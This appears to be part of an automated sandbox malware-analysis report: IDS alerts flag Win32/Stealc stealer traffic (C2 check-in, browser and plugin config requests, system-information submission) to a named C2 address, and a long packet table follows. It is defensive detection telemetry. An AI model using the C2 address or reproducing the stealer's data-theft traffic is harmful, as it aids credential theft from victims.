2024-08-31T22:05:16.762495+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:16.768719+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49704	185.215.113.100	192.168.2.8
2024-08-31T22:05:17.008566+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:17.015569+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49704	185.215.113.100	192.168.2.8
2024-08-31T22:05:26.835734+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:19.306913+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:25.662078+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:29.754223+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:27.471514+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49704	80	192.168.2.8	185.215.113.100
2024-08-31T22:05:16.516762+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49704	80	192.168.2.8	185.215.113.100

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 22:05:15.428901911 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:15.433767080 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:15.433896065 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:15.434056997 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:15.438817978 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:16.249588966 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:16.249696970 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:16.254323006 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:16.259219885 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:16.516676903 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:16.516762018 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:16.517858028 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:16.522708893 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:16.762370110 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:16.762384892 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:16.762495041 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:16.763911963 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:16.768718958 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.008460045 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.008471012 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.008496046 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.008507013 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.008518934 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.008531094 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.008543015 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.008565903 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:17.008625031 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:17.010437965 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:17.015568972 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.253309011 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:17.253361940 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:17.349020958 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:17.349071026 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:17.653247118 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:18.262686968 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:18.341947079 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.341967106 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.342034101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:18.342261076 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.342314005 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:18.342484951 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.342503071 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.342549086 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:18.342715025 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.342724085 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.342822075 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.342962980 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.346832037 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.346947908 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.347094059 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.347366095 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:18.347413063 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.306760073 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.306912899 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.562365055 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.567261934 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803270102 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803347111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803358078 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803369999 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803381920 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803392887 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803414106 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.803447962 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.803901911 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803913116 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803924084 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.803951979 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.803968906 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.804289103 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.804301023 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.804311037 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.804352045 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.804352045 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.804634094 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.804662943 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.804675102 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:19.804723024 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:19.804723024 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851560116 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851574898 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851600885 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851613998 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851624966 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851635933 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851638079 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851644993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851655960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851665974 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851672888 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851680040 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851700068 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851716995 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851717949 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851733923 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851744890 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851757050 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851768017 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851768970 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851788044 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851799011 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851809978 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851818085 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851819992 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851831913 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851847887 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851861954 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851888895 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.851948023 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851960897 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851970911 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851982117 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.851993084 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852000952 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852003098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852021933 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852030039 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852032900 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852045059 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852046967 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852081060 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852107048 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852191925 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852204084 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852214098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852226019 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852233887 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852238894 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852250099 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852261066 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852276087 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852277040 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852293968 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852303982 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852308035 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852314949 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852325916 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852330923 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852341890 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.852349997 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852365971 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.852391005 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.856657028 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.856723070 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.856731892 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.856743097 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.856755018 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.856779099 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.856800079 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.856944084 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.856955051 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.856964111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.856992006 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.857014894 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857014894 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.857027054 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857038021 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857055902 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.857073069 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.857086897 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.857805967 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857816935 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857827902 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857858896 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.857871056 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857882023 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857887983 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.857893944 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.857919931 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.857950926 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.858709097 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.858719110 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.858740091 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.858756065 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.858758926 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.858769894 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.858774900 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.858781099 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.858794928 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.858814955 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.858841896 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.859613895 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.859633923 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.859646082 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.859657049 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.859662056 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.859668970 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.859680891 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.859688997 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.859730005 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.860436916 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.860449076 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.860460043 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.860491037 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.860508919 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.860513926 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.860523939 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.860536098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.860562086 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.860580921 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.861346006 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.861377954 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.861388922 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.861407995 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.861427069 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.861437082 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.861439943 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.861449003 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.861468077 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.861476898 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.861500978 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.861515999 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.862236977 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.862247944 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.862260103 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.862278938 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.862289906 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.862289906 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.862302065 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.862324953 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.862338066 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.863116980 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.863128901 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.863140106 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.863169909 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.863183022 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.863185883 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.863198042 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.863209009 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.863224030 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.863241911 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.863262892 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.863964081 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.864013910 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.864151955 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.864162922 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.864173889 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.864202976 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.864223003 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.864229918 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.864240885 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.864253044 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.864264011 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.864279032 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.864296913 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.865044117 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865056038 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865072966 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865089893 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865098000 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.865099907 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865112066 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865142107 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.865377903 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.865923882 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865936995 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865947962 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865961075 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.865977049 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.866008997 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.866471052 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.866491079 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.866502047 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.866513968 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.866537094 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.866539001 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.866550922 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.866555929 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.866591930 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.866605043 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.867242098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.867255926 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.867268085 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.867289066 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.867297888 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.867309093 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.867315054 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.867320061 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.867346048 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.867362022 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.868107080 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.868166924 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.868292093 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.868303061 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.868320942 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.868335962 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.868349075 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.868349075 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.868360043 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.868371964 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.868407011 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.869142056 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.869205952 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.869234085 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.869246006 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.869256973 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.869266987 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.869277954 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.869283915 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.869307995 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.869332075 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.870054007 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.870064974 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.870078087 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.870101929 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.870116949 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.870117903 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.870132923 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.870143890 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.870162964 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.870192051 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.870933056 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.870965958 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.870975971 CEST	80	49704	185.215.113.100	192.168.2.8
